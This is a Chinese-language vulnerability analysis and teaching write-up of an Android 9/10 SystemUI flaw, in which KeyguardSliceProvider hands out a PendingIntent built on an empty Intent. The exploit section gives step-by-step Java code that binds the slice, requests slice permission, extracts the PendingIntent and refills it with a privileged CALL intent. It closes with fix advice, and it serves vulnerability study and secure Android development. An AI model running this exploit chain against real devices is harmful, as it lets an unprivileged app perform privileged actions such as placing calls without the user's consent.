某AOSP框架层提权漏洞分析
字数 1452 2025-08-09 23:12:49
AOSP框架层提权漏洞分析与利用教学文档
1. 漏洞背景与前置知识
1.1 ContentProvider的call函数
ContentProvider的call函数原型之一:
public Bundle call(String method, String arg, Bundle extras)
特点:
- 提供直接操作Provider的接口
- 参数:
method: 方法名(String)arg: 参数(String)extras: 额外参数(Bundle)
- 返回Bundle类型数据
重要安全警告:
- Android框架不对
call函数进行权限检查 - 开发者必须自行实现权限检查
AndroidManifest中的权限设置可能无效
1.2 SliceProvider特性
Slice是Android P引入的应用间共享UI内容的机制:
SliceProvider用于分享SliceSlicePresenter展示Slice- 主要流程:
- 调用
onBindSlice()获取Slice内容 - 使用
notifyChange()更新Slice
- 调用
2. 漏洞分析
2.1 漏洞位置
影响版本:Android 9和Android 10
漏洞文件:
frameworks/base/packages/SystemUI/src/com/android/systemui/keyguard/KeyguardSliceProvider.javaframeworks/base/core/java/android/app/slice/SliceProvider.java
2.2 漏洞代码
关键漏洞代码:
protected void addPrimaryAction(ListBuilder builder) {
// 漏洞点:PendingIntent初始化时使用了空Intent
PendingIntent pi = PendingIntent.getActivity(getContext(), 0, new Intent(), 0);
Icon icon = Icon.createWithResource(getContext(), R.drawable.ic_access_alarms_big);
SliceAction action = new SliceAction(pi, icon, mLastText);
RowBuilder primaryActionRow = new RowBuilder(builder, Uri.parse(KEYGUARD_ACTION_URI))
.setPrimaryAction(action);
builder.addRow(primaryActionRow);
}
2.3 漏洞原因
-
PendingIntent初始化时构造了空Intent:- 未指定
Package - 未指定
Action
- 未指定
-
攻击者可利用
PendingIntent.send()时填充任意Intent内容 -
系统在
PendingIntentRecord.sendInner中调用finalIntent.fillIn(intent,key.flags),允许调用者填充Intent值
3. 漏洞触发路径
3.1 call函数处理流程
@Override
public Bundle call(String method, String arg, Bundle extras) {
if (method.equals(METHOD_SLICE)) {
Uri uri = getUriWithoutUserId(validateIncomingUriOrNull(
extras.getParcelable(EXTRA_BIND_URI)));
List<SliceSpec> supportedSpecs = extras.getParcelableArrayList(EXTRA_SUPPORTED_SPECS);
String callingPackage = getCallingPackage();
int callingUid = Binder.getCallingUid();
int callingPid = Binder.getCallingPid();
// 触发handleBindSlice
Slice s = handleBindSlice(uri, supportedSpecs, callingPackage, callingUid, callingPid);
Bundle b = new Bundle();
b.putParcelable(EXTRA_SLICE, s);
return b;
} else if (method.equals(METHOD_MAP_INTENT))
return super.call(method, arg, extras);
}
3.2 handleBindSlice流程
private Slice handleBindSlice(Uri sliceUri, List<SliceSpec> supportedSpecs,
String callingPkg, int callingUid, int callingPid) {
// 检查权限
mSliceManager.enforceSlicePermission(sliceUri, pkg, callingPid, callingUid, mAutoGrantPermissions);
// 触发onBindSliceStrict
return onBindSliceStrict(sliceUri, supportedSpecs);
}
3.3 onBindSliceStrict流程
private Slice onBindSliceStrict(Uri sliceUri, List<SliceSpec> supportedSpecs) {
try {
// 触发派生类的onBindSlice实现
return onBindSlice(sliceUri, new ArraySet<>(supportedSpecs));
} finally {
StrictMode.setThreadPolicy(oldPolicy);
}
}
3.4 KeyguardSliceProvider实现
@Override
public Slice onBindSlice(Uri sliceUri) {
ListBuilder builder = new ListBuilder(getContext(), mSliceUri, ListBuilder.INFINITY);
// ...其他操作...
addPrimaryActionLocked(builder); // 触发漏洞点
slice = builder.build();
return slice;
}
protected void addPrimaryActionLocked(ListBuilder builder) {
IconCompat icon = IconCompat.createWithResource(getContext(), R.drawable.ic_access_alarms_big);
// 漏洞点:使用未初始化的mPendingIntent
SliceAction action = SliceAction.createDeeplink(mPendingIntent, icon, ListBuilder.ICON_IMAGE, mLastText);
RowBuilder primaryActionRow = new RowBuilder(Uri.parse(KEYGUARD_ACTION_URI))
.setPrimaryAction(action);
builder.addRow(primaryActionRow);
}
4. 漏洞利用过程
4.1 构造call函数参数
-
URI路径:
final static String uriKeyguardSlices = "content://com.android.systemui.keyguard"; -
构造请求Bundle:
private Bundle prepareReqBundle() { Bundle extras = new Bundle(); extras.putParcelable("slice_uri", Uri.parse(uriKeyguardSlices)); ArrayList<Parcelable> lists = new ArrayList<Parcelable>(); lists.add(new SliceSpec("androidx.slice.LIST", 1)); lists.add(new SliceSpec("androidx.app.slice.BASIC", 1)); lists.add(new SliceSpec("androidx.slice.BASIC", 1)); lists.add(new SliceSpec("androidx.app.slice.LIST", 1)); extras.putParcelableArrayList("supported_specs", lists); return extras; } -
调用call函数:
Bundle responseBundle = getContentResolver().call( Uri.parse(uriKeyguardSlices), "bind_slice", null, prepareReqBundle());
4.2 权限申请
由于直接访问SystemUI的Slice需要授权,需构造权限申请Intent:
Intent intent = new Intent("com.android.intent.action.REQUEST_SLICE_PERMISSION");
intent.setComponent(new ComponentName("com.android.systemui",
"com.android.systemui.SlicePermissionActivity"));
Uri uri = Uri.parse(uriKeyguardSlices);
intent.putExtra("slice_uri", uri);
intent.putExtra("pkg", getPackageName());
intent.putExtra("provider_pkg", "com.android.systemui");
startActivity(intent);
4.3 提取PendingIntent
从返回的Bundle中提取PendingIntent:
-
标准路径(可能因厂商不同而变化):
Slice slice = responseBundle.getParcelable("slice"); PendingIntent pi = slice.getItems().get(2).getSlice().getItems().get(0).getAction(); -
通用方法(遍历查找):
// 打印Slice结构体内容,寻找PendingIntent Log.d("see", "slice: " + slice.getItems().get(1).getSlice().getItems().get(0) .getSlice().getItems().get(0).getAction().toString());
4.4 构造恶意Intent
利用获取的PendingIntent执行特权操作:
Intent evilIntent = new Intent("android.intent.action.CALL_PRIVILEGED");
evilIntent.setData(Uri.parse("tel:000"));
try {
pi.send(getApplicationContext(), 0, evilIntent, null, null);
} catch (PendingIntent.CanceledException e) {
e.printStackTrace();
}
5. 漏洞修复建议
-
初始化
PendingIntent时应指定完整的Intent:Intent intent = new Intent(); intent.setPackage(getContext().getPackageName()); intent.setAction("specific.action"); PendingIntent pi = PendingIntent.getActivity(getContext(), 0, intent, 0); -
在
call函数中增加严格的权限检查 -
限制
PendingIntent的使用范围,避免使用空Intent -
对敏感操作进行双重验证
6. 总结
该漏洞利用链展示了:
ContentProvider的call函数权限检查缺失PendingIntent初始化不当导致的安全问题- 通过精心构造的
Bundle参数触发漏洞 - 利用系统API的默认行为实现权限提升
理解此漏洞有助于开发者更好地编写安全的Android代码,特别是处理跨进程通信和权限控制时。